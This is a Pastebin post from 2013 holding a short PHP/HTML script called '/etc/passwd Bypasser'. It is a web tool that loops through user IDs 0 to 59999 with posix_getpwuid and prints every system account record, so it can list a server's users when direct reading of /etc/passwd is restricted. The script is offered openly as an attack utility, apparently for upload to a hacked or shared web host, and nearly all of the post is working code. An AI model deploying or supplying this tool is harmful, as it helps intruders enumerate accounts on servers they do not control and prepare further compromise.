Advertisement
rooterror

cat /etc/passwd bypass

Aug 27th, 2013
302
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.52 KB | None | 0 0
  1. <title>Etc/Passwd Bypass Tool </title>
  2. <body background="http://img54.xooimage.com/files/f/7/2/kbk29185-227a592.gif" bgcolor="black">
  3. <form>
  4. <p align="center" dir="rtl"><font color="#008080">
  5. <font color="red" face="Tahoma"><h1>/etc/passwd Bypasser </h1></font></a></font><font color="red">
  6. <font color="red"><span lang="ar-sa">
  7. </form>
  8. <form>
  9. <td width="50%"><font color=red>users in server:<font color="black">&#222;&#199;&#198;&#227;&#229; &#199;&#225;&#237;&#230;&#210;&#209;&#199;&#202; &#200;&#199;&#225;&#211;&#237;&#209;&#221;&#209;</font></font></td>
  10. <td width="50%"><select size=\"1\" name="plugin"><option value="plugin">/etc/passwd</option></option></select></td>
  11. <td width="100%" colspan="2">
  12. <p align="center"><input type="submit" value="Submit"></td>
  13. </form>
  14. <textarea method='POST'  rows=20 cols=100 wrap=off>
  15.  
  16.  
  17. <?php
  18. error_reporting(0);
  19.  if ($_GET['plugin'] )
  20.  
  21.                                            for($uid=0;$uid<60000;$uid++){   //cat /etc/passwd
  22.                                         $ara = posix_getpwuid($uid);
  23.                                                 if (!empty($ara)) {
  24.                                                   while (list ($key, $val) = each($ara)){
  25.                                                     print "$val:";
  26.                                                   }
  27.                                                   print "\n";
  28.                                                 }
  29.                                         }
  30.                                  echo "</textarea>";
  31.  
  32. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement